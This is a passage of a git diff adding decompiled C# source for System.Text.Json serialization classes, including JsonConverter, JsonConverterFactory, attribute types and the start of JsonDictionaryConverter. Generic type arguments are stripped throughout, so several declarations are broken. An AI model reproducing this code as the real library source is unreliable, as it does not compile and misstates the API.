+ JsonConverter jsonConverter = null; + switch (state.Current.PolymorphicSerializationState) + { + case PolymorphicSerializationState.None: + { + PolymorphicTypeResolver polymorphicTypeResolver = jsonTypeInfo.PolymorphicTypeResolver; + if (polymorphicTypeResolver.TryGetDerivedJsonTypeInfo(state.PolymorphicTypeDiscriminator, out var jsonTypeInfo2)) + { + jsonConverter = state.InitializePolymorphicReEntry(jsonTypeInfo2); + if (!jsonConverter.CanHaveMetadata) + { + ThrowHelper.ThrowNotSupportedException_DerivedConverterDoesNotSupportMetadata(jsonTypeInfo2.Type); + } + } + else + { + state.Current.PolymorphicSerializationState = PolymorphicSerializationState.PolymorphicReEntryNotFound; + } + state.PolymorphicTypeDiscriminator = null; + break; + } + case PolymorphicSerializationState.PolymorphicReEntrySuspended: + jsonConverter = state.ResumePolymorphicReEntry(); + break; + } + return jsonConverter; + } + + internal JsonConverter ResolvePolymorphicConverter(object value, JsonTypeInfo jsonTypeInfo, JsonSerializerOptions options, ref WriteStack state) + { + JsonConverter jsonConverter = null; + switch (state.Current.PolymorphicSerializationState) + { + case PolymorphicSerializationState.None: + { + Type type = value.GetType(); + if (CanBePolymorphic && type != Type) + { + jsonTypeInfo = state.Current.InitializePolymorphicReEntry(type, options); + jsonConverter = jsonTypeInfo.Converter; + } + PolymorphicTypeResolver polymorphicTypeResolver = jsonTypeInfo.PolymorphicTypeResolver; + if (polymorphicTypeResolver != null && polymorphicTypeResolver.TryGetDerivedJsonTypeInfo(type, out var jsonTypeInfo2, out var typeDiscriminator)) + { + jsonConverter = state.Current.InitializePolymorphicReEntry(jsonTypeInfo2); + if (typeDiscriminator != null) + { + if (!jsonConverter.CanHaveMetadata) + { + ThrowHelper.ThrowNotSupportedException_DerivedConverterDoesNotSupportMetadata(jsonTypeInfo2.Type); + } + state.PolymorphicTypeDiscriminator = typeDiscriminator; + state.PolymorphicTypeResolver = polymorphicTypeResolver; + } + } + if (jsonConverter == null) + { + state.Current.PolymorphicSerializationState = PolymorphicSerializationState.PolymorphicReEntryNotFound; + } + break; + } + case PolymorphicSerializationState.PolymorphicReEntrySuspended: + jsonConverter = state.Current.ResumePolymorphicReEntry(); + break; + } + return jsonConverter; + } + + internal bool TryHandleSerializedObjectReference(Utf8JsonWriter writer, object value, JsonSerializerOptions options, JsonConverter polymorphicConverter, ref WriteStack state) + { + switch (options.ReferenceHandlingStrategy) + { + case ReferenceHandlingStrategy.IgnoreCycles: + { + ReferenceResolver referenceResolver = state.ReferenceResolver; + if (referenceResolver.ContainsReferenceForCycleDetection(value)) + { + writer.WriteNullValue(); + return true; + } + referenceResolver.PushReferenceForCycleDetection(value); + state.Current.IsPushedReferenceForCycleDetection = state.CurrentDepth > 0; + break; + } + case ReferenceHandlingStrategy.Preserve: + if ((polymorphicConverter?.CanHaveMetadata ?? CanHaveMetadata) && JsonSerializer.TryGetReferenceForValue(value, ref state, writer)) + { + return true; + } + break; + } + return false; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static bool SingleValueReadWithReadAhead(bool requiresReadAhead, ref Utf8JsonReader reader, scoped ref ReadStack state) + { + if (!requiresReadAhead || !state.ReadAhead) + { + return reader.Read(); + } + return DoSingleValueReadWithReadAhead(ref reader); + } + + internal static bool DoSingleValueReadWithReadAhead(ref Utf8JsonReader reader) + { + Utf8JsonReader utf8JsonReader = reader; + if (!reader.Read()) + { + return false; + } + JsonTokenType tokenType = reader.TokenType; + if ((tokenType == JsonTokenType.StartObject || tokenType == JsonTokenType.StartArray) ? true : false) + { + bool flag = reader.TrySkip(); + reader = utf8JsonReader; + if (!flag) + { + return false; + } + reader.ReadWithVerify(); + } + return true; + } +} +public abstract class JsonConverter : JsonConverter +{ + private JsonConverter _fallbackConverterForPropertyNameSerialization; + + internal override Type? KeyType => null; + + internal override Type? ElementType => null; + + public virtual bool HandleNull + { + get + { + base.UsesDefaultHandleNull = true; + return false; + } + } + + public sealed override Type Type { get; } = typeof(T); + + internal T ReadCore(ref Utf8JsonReader reader, JsonSerializerOptions options, ref ReadStack state) + { + try + { + if (!state.IsContinuation) + { + if (!JsonConverter.SingleValueReadWithReadAhead(base.RequiresReadAhead, ref reader, ref state)) + { + if (state.SupportContinuation) + { + state.BytesConsumed += reader.BytesConsumed; + if (state.Current.ReturnValue == null) + { + return default(T); + } + return (T)state.Current.ReturnValue; + } + state.BytesConsumed += reader.BytesConsumed; + return default(T); + } + } + else if (!JsonConverter.SingleValueReadWithReadAhead(requiresReadAhead: true, ref reader, ref state)) + { + state.BytesConsumed += reader.BytesConsumed; + return default(T); + } + if (TryRead(ref reader, state.Current.JsonTypeInfo.Type, options, ref state, out var value, out var _) && !reader.Read() && !reader.IsFinalBlock) + { + state.Current.ReturnValue = value; + } + state.BytesConsumed += reader.BytesConsumed; + return value; + } + catch (JsonReaderException ex) + { + ThrowHelper.ReThrowWithPath(ref state, ex); + return default(T); + } + catch (FormatException ex2) when (ex2.Source == "System.Text.Json.Rethrowable") + { + ThrowHelper.ReThrowWithPath(ref state, in reader, ex2); + return default(T); + } + catch (InvalidOperationException ex3) when (ex3.Source == "System.Text.Json.Rethrowable") + { + ThrowHelper.ReThrowWithPath(ref state, in reader, ex3); + return default(T); + } + catch (JsonException ex4) when (ex4.Path == null) + { + ThrowHelper.AddJsonExceptionInformation(ref state, in reader, ex4); + throw; + } + catch (NotSupportedException ex5) + { + if (ex5.Message.Contains(" Path: ")) + { + throw; + } + ThrowHelper.ThrowNotSupportedException(ref state, in reader, ex5); + return default(T); + } + } + + internal bool WriteCore(Utf8JsonWriter writer, in T value, JsonSerializerOptions options, ref WriteStack state) + { + try + { + return TryWrite(writer, in value, options, ref state); + } + catch (InvalidOperationException ex) when (ex.Source == "System.Text.Json.Rethrowable") + { + ThrowHelper.ReThrowWithPath(ref state, ex); + throw; + } + catch (JsonException ex2) when (ex2.Path == null) + { + ThrowHelper.AddJsonExceptionInformation(ref state, ex2); + throw; + } + catch (NotSupportedException ex3) + { + if (ex3.Message.Contains(" Path: ")) + { + throw; + } + ThrowHelper.ThrowNotSupportedException(ref state, ex3); + return false; + } + } + + protected internal JsonConverter() + { + base.IsValueType = typeof(T).IsValueType; + if (HandleNull) + { + base.HandleNullOnRead = true; + base.HandleNullOnWrite = true; + } + else if (base.UsesDefaultHandleNull) + { + base.HandleNullOnRead = default(T) != null; + base.HandleNullOnWrite = false; + } + } + + public override bool CanConvert(Type typeToConvert) + { + return typeToConvert == typeof(T); + } + + private protected override ConverterStrategy GetDefaultConverterStrategy() + { + return ConverterStrategy.Value; + } + + internal sealed override JsonTypeInfo CreateJsonTypeInfo(JsonSerializerOptions options) + { + return new JsonTypeInfo(this, options); + } + + internal sealed override void WriteAsObject(Utf8JsonWriter writer, object value, JsonSerializerOptions options) + { + T value2 = JsonSerializer.UnboxOnWrite(value); + Write(writer, value2, options); + } + + internal sealed override bool OnTryWriteAsObject(Utf8JsonWriter writer, object value, JsonSerializerOptions options, ref WriteStack state) + { + T value2 = JsonSerializer.UnboxOnWrite(value); + return OnTryWrite(writer, value2, options, ref state); + } + + internal sealed override void WriteAsPropertyNameAsObject(Utf8JsonWriter writer, object value, JsonSerializerOptions options) + { + T value2 = JsonSerializer.UnboxOnWrite(value); + WriteAsPropertyName(writer, value2, options); + } + + internal sealed override void WriteAsPropertyNameCoreAsObject(Utf8JsonWriter writer, object value, JsonSerializerOptions options, bool isWritingExtensionDataProperty) + { + T value2 = JsonSerializer.UnboxOnWrite(value); + WriteAsPropertyNameCore(writer, value2, options, isWritingExtensionDataProperty); + } + + internal sealed override void WriteNumberWithCustomHandlingAsObject(Utf8JsonWriter writer, object value, JsonNumberHandling handling) + { + T value2 = JsonSerializer.UnboxOnWrite(value); + WriteNumberWithCustomHandling(writer, value2, handling); + } + + internal sealed override bool TryWriteAsObject(Utf8JsonWriter writer, object value, JsonSerializerOptions options, ref WriteStack state) + { + return TryWrite(writer, JsonSerializer.UnboxOnWrite(value), options, ref state); + } + + internal virtual bool OnTryWrite(Utf8JsonWriter writer, T value, JsonSerializerOptions options, ref WriteStack state) + { + Write(writer, value, options); + return true; + } + + internal virtual bool OnTryRead(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options, scoped ref ReadStack state, out T value) + { + value = Read(ref reader, typeToConvert, options); + return true; + } + + public abstract T? Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options); + + internal bool TryRead(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options, scoped ref ReadStack state, out T value, out bool isPopulatedValue) + { + if (reader.TokenType == JsonTokenType.Null && !base.HandleNullOnRead && !state.IsContinuation) + { + if (default(T) != null) + { + ThrowHelper.ThrowJsonException_DeserializeUnableToConvertValue(Type); + } + value = default(T); + isPopulatedValue = false; + return true; + } + if (base.ConverterStrategy == ConverterStrategy.Value) + { + if (base.IsInternalConverter) + { + if (state.Current.NumberHandling.HasValue && base.IsInternalConverterForNumberType) + { + value = ReadNumberWithCustomHandling(ref reader, state.Current.NumberHandling.Value, options); + } + else + { + value = Read(ref reader, typeToConvert, options); + } + } + else + { + JsonTokenType tokenType = reader.TokenType; + int currentDepth = reader.CurrentDepth; + long bytesConsumed = reader.BytesConsumed; + if (state.Current.NumberHandling.HasValue && base.IsInternalConverterForNumberType) + { + value = ReadNumberWithCustomHandling(ref reader, state.Current.NumberHandling.Value, options); + } + else + { + value = Read(ref reader, typeToConvert, options); + } + VerifyRead(tokenType, currentDepth, bytesConsumed, isValueConverter: true, ref reader); + } + isPopulatedValue = false; + return true; + } + bool isContinuation = state.IsContinuation; + bool flag; + if (base.CanBePolymorphic) + { + flag = OnTryRead(ref reader, typeToConvert, options, ref state, out value); + isPopulatedValue = false; + return true; + } + JsonPropertyInfo jsonPropertyInfo = state.Current.JsonPropertyInfo; + object returnValue = state.Current.ReturnValue; + state.Push(); + if (returnValue != null && jsonPropertyInfo != null && !jsonPropertyInfo.IsForTypeInfo) + { + state.Current.HasParentObject = true; + } + flag = OnTryRead(ref reader, typeToConvert, options, ref state, out value); + isPopulatedValue = state.Current.IsPopulating; + state.Pop(flag); + return flag; + } + + internal sealed override bool OnTryReadAsObject(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options, scoped ref ReadStack state, out object value) + { + T value2; + bool result = OnTryRead(ref reader, typeToConvert, options, ref state, out value2); + value = value2; + return result; + } + + internal sealed override bool TryReadAsObject(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options, scoped ref ReadStack state, out object value) + { + T value2; + bool isPopulatedValue; + bool result = TryRead(ref reader, typeToConvert, options, ref state, out value2, out isPopulatedValue); + value = value2; + return result; + } + + internal sealed override object ReadAsObject(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + T val = Read(ref reader, typeToConvert, options); + return val; + } + + internal sealed override object ReadAsPropertyNameAsObject(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + T val = ReadAsPropertyName(ref reader, typeToConvert, options); + return val; + } + + internal sealed override object ReadAsPropertyNameCoreAsObject(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + T val = ReadAsPropertyNameCore(ref reader, typeToConvert, options); + return val; + } + + internal sealed override object ReadNumberWithCustomHandlingAsObject(ref Utf8JsonReader reader, JsonNumberHandling handling, JsonSerializerOptions options) + { + T val = ReadNumberWithCustomHandling(ref reader, handling, options); + return val; + } + + private static bool IsNull(T value) + { + return value == null; + } + + internal bool TryWrite(Utf8JsonWriter writer, in T value, JsonSerializerOptions options, ref WriteStack state) + { + if (writer.CurrentDepth >= options.EffectiveMaxDepth) + { + ThrowHelper.ThrowJsonException_SerializerCycleDetected(options.EffectiveMaxDepth); + } + if (default(T) == null && !base.HandleNullOnWrite && IsNull(value)) + { + writer.WriteNullValue(); + return true; + } + if (base.ConverterStrategy == ConverterStrategy.Value) + { + int currentDepth = writer.CurrentDepth; + if (state.Current.NumberHandling.HasValue && base.IsInternalConverterForNumberType) + { + WriteNumberWithCustomHandling(writer, value, state.Current.NumberHandling.Value); + } + else + { + Write(writer, value, options); + } + VerifyWrite(currentDepth, writer); + return true; + } + bool isContinuation = state.IsContinuation; + bool flag; + if (!base.IsValueType && value != null && state.Current.PolymorphicSerializationState != PolymorphicSerializationState.PolymorphicReEntryStarted) + { + JsonTypeInfo jsonTypeInfo = state.PeekNestedJsonTypeInfo(); + JsonConverter jsonConverter = ((base.CanBePolymorphic || jsonTypeInfo.PolymorphicTypeResolver != null) ? ResolvePolymorphicConverter(value, jsonTypeInfo, options, ref state) : null); + if (!isContinuation && options.ReferenceHandlingStrategy != ReferenceHandlingStrategy.None && TryHandleSerializedObjectReference(writer, value, options, jsonConverter, ref state)) + { + return true; + } + if (jsonConverter != null) + { + flag = jsonConverter.TryWriteAsObject(writer, value, options, ref state); + state.Current.ExitPolymorphicConverter(flag); + if (flag && state.Current.IsPushedReferenceForCycleDetection) + { + state.ReferenceResolver.PopReferenceForCycleDetection(); + state.Current.IsPushedReferenceForCycleDetection = false; + } + return flag; + } + } + state.Push(); + flag = OnTryWrite(writer, value, options, ref state); + state.Pop(flag); + if (flag && state.Current.IsPushedReferenceForCycleDetection) + { + state.ReferenceResolver.PopReferenceForCycleDetection(); + state.Current.IsPushedReferenceForCycleDetection = false; + } + return flag; + } + + internal bool TryWriteDataExtensionProperty(Utf8JsonWriter writer, T value, JsonSerializerOptions options, ref WriteStack state) + { + if (!base.IsInternalConverter) + { + return TryWrite(writer, in value, options, ref state); + } + JsonDictionaryConverter jsonDictionaryConverter = (this as JsonDictionaryConverter) ?? ((this as JsonMetadataServicesConverter)?.Converter as JsonDictionaryConverter); + if (jsonDictionaryConverter == null) + { + return TryWrite(writer, in value, options, ref state); + } + if (writer.CurrentDepth >= options.EffectiveMaxDepth) + { + ThrowHelper.ThrowJsonException_SerializerCycleDetected(options.EffectiveMaxDepth); + } + bool isContinuation = state.IsContinuation; + state.Push(); + if (!isContinuation) + { + state.Current.OriginalDepth = writer.CurrentDepth; + } + state.Current.IsWritingExtensionDataProperty = true; + state.Current.JsonPropertyInfo = state.Current.JsonTypeInfo.ElementTypeInfo.PropertyInfoForTypeInfo; + bool flag = jsonDictionaryConverter.OnWriteResume(writer, value, options, ref state); + if (flag) + { + VerifyWrite(state.Current.OriginalDepth, writer); + } + state.Pop(flag); + return flag; + } + + internal void VerifyRead(JsonTokenType tokenType, int depth, long bytesConsumed, bool isValueConverter, ref Utf8JsonReader reader) + { + switch (tokenType) + { + case JsonTokenType.StartArray: + if (reader.TokenType != JsonTokenType.EndArray) + { + ThrowHelper.ThrowJsonException_SerializationConverterRead(this); + } + else if (depth != reader.CurrentDepth) + { + ThrowHelper.ThrowJsonException_SerializationConverterRead(this); + } + return; + case JsonTokenType.StartObject: + if (reader.TokenType != JsonTokenType.EndObject) + { + ThrowHelper.ThrowJsonException_SerializationConverterRead(this); + } + else if (depth != reader.CurrentDepth) + { + ThrowHelper.ThrowJsonException_SerializationConverterRead(this); + } + return; + } + if (isValueConverter) + { + if (reader.BytesConsumed != bytesConsumed) + { + ThrowHelper.ThrowJsonException_SerializationConverterRead(this); + } + } + else if (!base.CanBePolymorphic && (!base.HandleNullOnRead || tokenType != JsonTokenType.Null)) + { + ThrowHelper.ThrowJsonException_SerializationConverterRead(this); + } + } + + internal void VerifyWrite(int originalDepth, Utf8JsonWriter writer) + { + if (originalDepth != writer.CurrentDepth) + { + ThrowHelper.ThrowJsonException_SerializationConverterWrite(this); + } + } + + public abstract void Write(Utf8JsonWriter writer, T value, JsonSerializerOptions options); + + public virtual T ReadAsPropertyName(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + JsonConverter fallbackConverterForPropertyNameSerialization = GetFallbackConverterForPropertyNameSerialization(options); + if (fallbackConverterForPropertyNameSerialization == null) + { + ThrowHelper.ThrowNotSupportedException_DictionaryKeyTypeNotSupported(Type, this); + } + return fallbackConverterForPropertyNameSerialization.ReadAsPropertyNameCore(ref reader, typeToConvert, options); + } + + internal virtual T ReadAsPropertyNameCore(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + long bytesConsumed = reader.BytesConsumed; + T result = ReadAsPropertyName(ref reader, typeToConvert, options); + if (reader.BytesConsumed != bytesConsumed) + { + ThrowHelper.ThrowJsonException_SerializationConverterRead(this); + } + return result; + } + + public virtual void WriteAsPropertyName(Utf8JsonWriter writer, [DisallowNull] T value, JsonSerializerOptions options) + { + JsonConverter fallbackConverterForPropertyNameSerialization = GetFallbackConverterForPropertyNameSerialization(options); + if (fallbackConverterForPropertyNameSerialization == null) + { + ThrowHelper.ThrowNotSupportedException_DictionaryKeyTypeNotSupported(Type, this); + } + fallbackConverterForPropertyNameSerialization.WriteAsPropertyNameCore(writer, value, options, isWritingExtensionDataProperty: false); + } + + internal virtual void WriteAsPropertyNameCore(Utf8JsonWriter writer, [DisallowNull] T value, JsonSerializerOptions options, bool isWritingExtensionDataProperty) + { + if (value == null) + { + ThrowHelper.ThrowArgumentNullException("value"); + } + if (isWritingExtensionDataProperty) + { + writer.WritePropertyName((string)(object)value); + return; + } + int currentDepth = writer.CurrentDepth; + WriteAsPropertyName(writer, value, options); + if (currentDepth != writer.CurrentDepth || writer.TokenType != JsonTokenType.PropertyName) + { + ThrowHelper.ThrowJsonException_SerializationConverterWrite(this); + } + } + + private JsonConverter GetFallbackConverterForPropertyNameSerialization(JsonSerializerOptions options) + { + JsonConverter jsonConverter = null; + if (!base.IsInternalConverter && !(options.TypeInfoResolver is JsonSerializerContext)) + { + jsonConverter = _fallbackConverterForPropertyNameSerialization; + if (jsonConverter == null && DefaultJsonTypeInfoResolver.TryGetDefaultSimpleConverter(Type, out var converter)) + { + jsonConverter = (_fallbackConverterForPropertyNameSerialization = (JsonConverter)converter); + } + } + return jsonConverter; + } + + internal virtual T ReadNumberWithCustomHandling(ref Utf8JsonReader reader, JsonNumberHandling handling, JsonSerializerOptions options) + { + throw new InvalidOperationException(); + } + + internal virtual void WriteNumberWithCustomHandling(Utf8JsonWriter writer, T value, JsonNumberHandling handling) + { + throw new InvalidOperationException(); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonConverterAttribute.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonConverterAttribute.cs new file mode 100644 index 0000000..fa2f2c3 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonConverterAttribute.cs @@ -0,0 +1,24 @@ +using System.Diagnostics.CodeAnalysis; + +namespace System.Text.Json.Serialization; + +[AttributeUsage(AttributeTargets.Class | AttributeTargets.Struct | AttributeTargets.Enum | AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Interface, AllowMultiple = false)] +public class JsonConverterAttribute : JsonAttribute +{ + [DynamicallyAccessedMembers(DynamicallyAccessedMemberTypes.PublicParameterlessConstructor)] + public Type? ConverterType { get; private set; } + + public JsonConverterAttribute([DynamicallyAccessedMembers(DynamicallyAccessedMemberTypes.PublicParameterlessConstructor)] Type converterType) + { + ConverterType = converterType; + } + + protected JsonConverterAttribute() + { + } + + public virtual JsonConverter? CreateConverter(Type typeToConvert) + { + return null; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonConverterFactory.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonConverterFactory.cs new file mode 100644 index 0000000..b2ddb2d --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonConverterFactory.cs @@ -0,0 +1,94 @@ +namespace System.Text.Json.Serialization; + +public abstract class JsonConverterFactory : JsonConverter +{ + internal sealed override Type? KeyType => null; + + internal sealed override Type? ElementType => null; + + public sealed override Type? Type => null; + + private protected override ConverterStrategy GetDefaultConverterStrategy() + { + return ConverterStrategy.None; + } + + public abstract JsonConverter? CreateConverter(Type typeToConvert, JsonSerializerOptions options); + + internal JsonConverter GetConverterInternal(Type typeToConvert, JsonSerializerOptions options) + { + JsonConverter jsonConverter = CreateConverter(typeToConvert, options); + if (jsonConverter != null) + { + if (jsonConverter is JsonConverterFactory) + { + ThrowHelper.ThrowInvalidOperationException_SerializerConverterFactoryReturnsJsonConverterFactorty(GetType()); + } + } + else + { + ThrowHelper.ThrowInvalidOperationException_SerializerConverterFactoryReturnsNull(GetType()); + } + return jsonConverter; + } + + internal sealed override object ReadAsObject(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + throw new InvalidOperationException(); + } + + internal sealed override bool OnTryReadAsObject(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options, scoped ref ReadStack state, out object value) + { + throw new InvalidOperationException(); + } + + internal sealed override bool TryReadAsObject(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options, scoped ref ReadStack state, out object value) + { + throw new InvalidOperationException(); + } + + internal sealed override object ReadAsPropertyNameAsObject(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + throw new InvalidOperationException(); + } + + internal sealed override object ReadAsPropertyNameCoreAsObject(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + throw new InvalidOperationException(); + } + + internal sealed override object ReadNumberWithCustomHandlingAsObject(ref Utf8JsonReader reader, JsonNumberHandling handling, JsonSerializerOptions options) + { + throw new InvalidOperationException(); + } + + internal sealed override void WriteAsObject(Utf8JsonWriter writer, object value, JsonSerializerOptions options) + { + throw new InvalidOperationException(); + } + + internal sealed override bool OnTryWriteAsObject(Utf8JsonWriter writer, object value, JsonSerializerOptions options, ref WriteStack state) + { + throw new InvalidOperationException(); + } + + internal sealed override bool TryWriteAsObject(Utf8JsonWriter writer, object value, JsonSerializerOptions options, ref WriteStack state) + { + throw new InvalidOperationException(); + } + + internal sealed override void WriteAsPropertyNameAsObject(Utf8JsonWriter writer, object value, JsonSerializerOptions options) + { + throw new InvalidOperationException(); + } + + internal sealed override void WriteAsPropertyNameCoreAsObject(Utf8JsonWriter writer, object value, JsonSerializerOptions options, bool isWritingExtensionDataProperty) + { + throw new InvalidOperationException(); + } + + internal sealed override void WriteNumberWithCustomHandlingAsObject(Utf8JsonWriter writer, object value, JsonNumberHandling handling) + { + throw new InvalidOperationException(); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonDerivedTypeAttribute.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonDerivedTypeAttribute.cs new file mode 100644 index 0000000..9080a25 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonDerivedTypeAttribute.cs @@ -0,0 +1,26 @@ +namespace System.Text.Json.Serialization; + +[AttributeUsage(AttributeTargets.Class | AttributeTargets.Interface, AllowMultiple = true, Inherited = false)] +public class JsonDerivedTypeAttribute : JsonAttribute +{ + public Type DerivedType { get; } + + public object? TypeDiscriminator { get; } + + public JsonDerivedTypeAttribute(Type derivedType) + { + DerivedType = derivedType; + } + + public JsonDerivedTypeAttribute(Type derivedType, string typeDiscriminator) + { + DerivedType = derivedType; + TypeDiscriminator = typeDiscriminator; + } + + public JsonDerivedTypeAttribute(Type derivedType, int typeDiscriminator) + { + DerivedType = derivedType; + TypeDiscriminator = typeDiscriminator; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonDictionaryConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonDictionaryConverter.cs new file mode 100644 index 0000000..0602b58 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization/JsonDictionaryConverter.cs @@ -0,0 +1,271 @@ +using System.Diagnostics.CodeAnalysis; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization; + +internal abstract class JsonDictionaryConverter : JsonResumableConverter +{ + internal override bool SupportsCreateObjectDelegate => true; + + private protected sealed override ConverterStrategy GetDefaultConverterStrategy() + { + return ConverterStrategy.Dictionary; + } + + protected internal abstract bool OnWriteResume(Utf8JsonWriter writer, TDictionary dictionary, JsonSerializerOptions options, ref WriteStack state); +} +internal abstract class JsonDictionaryConverter : JsonDictionaryConverter +{ + protected JsonConverter _keyConverter; + + protected JsonConverter _valueConverter; + + internal override Type ElementType => typeof(TValue); + + internal override Type KeyType => typeof(TKey); + + protected abstract void Add(TKey key, in TValue value, JsonSerializerOptions options, ref ReadStack state); + + protected virtual void ConvertCollection(ref ReadStack state, JsonSerializerOptions options) + { + } + + protected virtual void CreateCollection(ref Utf8JsonReader reader, scoped ref ReadStack state) + { + JsonPropertyInfo parentProperty = state.ParentProperty; + if (parentProperty != null && parentProperty.TryGetPrePopulatedValue(ref state)) + { + return; + } + JsonTypeInfo jsonTypeInfo = state.Current.JsonTypeInfo; + if (jsonTypeInfo.CreateObject == null) + { + if (Type.IsAbstract || Type.IsInterface) + { + ThrowHelper.ThrowNotSupportedException_CannotPopulateCollection(Type, ref reader, ref state); + } + else + { + ThrowHelper.ThrowNotSupportedException_DeserializeNoConstructor(Type, ref reader, ref state); + } + } + state.Current.ReturnValue = jsonTypeInfo.CreateObject(); + } + + protected static JsonConverter GetConverter(JsonTypeInfo typeInfo) + { + return ((JsonTypeInfo)typeInfo).EffectiveConverter; + } + + internal sealed override bool OnTryRead(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options, scoped ref ReadStack state, [MaybeNullWhen(false)] out TDictionary value) + { + JsonTypeInfo keyTypeInfo = state.Current.JsonTypeInfo.KeyTypeInfo; + JsonTypeInfo elementTypeInfo = state.Current.JsonTypeInfo.ElementTypeInfo; + bool isPopulatedValue; + if (!state.SupportContinuation && !state.Current.CanContainMetadata) + { + if (reader.TokenType != JsonTokenType.StartObject) + { + ThrowHelper.ThrowJsonException_DeserializeUnableToConvertValue(Type); + } + CreateCollection(ref reader, ref state); + if (_keyConverter == null) + { + _keyConverter = GetConverter(keyTypeInfo); + } + if (_valueConverter == null) + { + _valueConverter = GetConverter(elementTypeInfo); + } + if (_valueConverter.CanUseDirectReadOrWrite && !state.Current.NumberHandling.HasValue) + { + while (true) + { + reader.ReadWithVerify(); + if (reader.TokenType == JsonTokenType.EndObject) + { + break; + } + state.Current.JsonPropertyInfo = keyTypeInfo.PropertyInfoForTypeInfo; + TKey key = ReadDictionaryKey(_keyConverter, ref reader, ref state, options); + reader.ReadWithVerify(); + state.Current.JsonPropertyInfo = elementTypeInfo.PropertyInfoForTypeInfo; + Add(key, _valueConverter.Read(ref reader, ElementType, options), options, ref state); + } + } + else + { + while (true) + { + reader.ReadWithVerify(); + if (reader.TokenType == JsonTokenType.EndObject) + { + break; + } + state.Current.JsonPropertyInfo = keyTypeInfo.PropertyInfoForTypeInfo; + TKey key2 = ReadDictionaryKey(_keyConverter, ref reader, ref state, options); + reader.ReadWithVerify(); + state.Current.JsonPropertyInfo = elementTypeInfo.PropertyInfoForTypeInfo; + _valueConverter.TryRead(ref reader, ElementType, options, ref state, out var value2, out isPopulatedValue); + Add(key2, in value2, options, ref state); + } + } + } + else + { + JsonTypeInfo jsonTypeInfo = state.Current.JsonTypeInfo; + if (state.Current.ObjectState == StackFrameObjectState.None) + { + if (reader.TokenType != JsonTokenType.StartObject) + { + ThrowHelper.ThrowJsonException_DeserializeUnableToConvertValue(Type); + } + state.Current.ObjectState = StackFrameObjectState.StartToken; + } + if (state.Current.CanContainMetadata && (int)state.Current.ObjectState < 2) + { + if (!JsonSerializer.TryReadMetadata(this, jsonTypeInfo, ref reader, ref state)) + { + value = default(TDictionary); + return false; + } + if (state.Current.MetadataPropertyNames == MetadataPropertyName.Ref) + { + value = JsonSerializer.ResolveReferenceId(ref state); + return true; + } + state.Current.ObjectState = StackFrameObjectState.ReadMetadata; + } + if ((state.Current.MetadataPropertyNames & MetadataPropertyName.Type) != MetadataPropertyName.None && state.Current.PolymorphicSerializationState != PolymorphicSerializationState.PolymorphicReEntryStarted) + { + JsonConverter jsonConverter = ResolvePolymorphicConverter(jsonTypeInfo, ref state); + if (jsonConverter != null) + { + object value3; + bool flag = jsonConverter.OnTryReadAsObject(ref reader, jsonConverter.Type, options, ref state, out value3); + value = (TDictionary)value3; + state.ExitPolymorphicConverter(flag); + return flag; + } + } + if ((int)state.Current.ObjectState < 4) + { + if (state.Current.CanContainMetadata) + { + JsonSerializer.ValidateMetadataForObjectConverter(ref state); + } + CreateCollection(ref reader, ref state); + if ((state.Current.MetadataPropertyNames & MetadataPropertyName.Id) != MetadataPropertyName.None) + { + state.ReferenceResolver.AddReference(state.ReferenceId, state.Current.ReturnValue); + state.ReferenceId = null; + } + state.Current.ObjectState = StackFrameObjectState.CreatedObject; + } + if (_keyConverter == null) + { + _keyConverter = GetConverter(keyTypeInfo); + } + if (_valueConverter == null) + { + _valueConverter = GetConverter(elementTypeInfo); + } + while (true) + { + if (state.Current.PropertyState == StackFramePropertyState.None) + { + state.Current.PropertyState = StackFramePropertyState.ReadName; + if (!reader.Read()) + { + value = default(TDictionary); + return false; + } + } + TKey val; + if ((int)state.Current.PropertyState < 2) + { + if (reader.TokenType == JsonTokenType.EndObject) + { + break; + } + state.Current.PropertyState = StackFramePropertyState.Name; + if (state.Current.CanContainMetadata) + { + ReadOnlySpan span = reader.GetSpan(); + if (JsonSerializer.IsMetadataPropertyName(span, state.Current.BaseJsonTypeInfo.PolymorphicTypeResolver)) + { + ThrowHelper.ThrowUnexpectedMetadataException(span, ref reader, ref state); + } + } + state.Current.JsonPropertyInfo = keyTypeInfo.PropertyInfoForTypeInfo; + val = ReadDictionaryKey(_keyConverter, ref reader, ref state, options); + } + else + { + val = (TKey)state.Current.DictionaryKey; + } + if ((int)state.Current.PropertyState < 3) + { + state.Current.PropertyState = StackFramePropertyState.ReadValue; + if 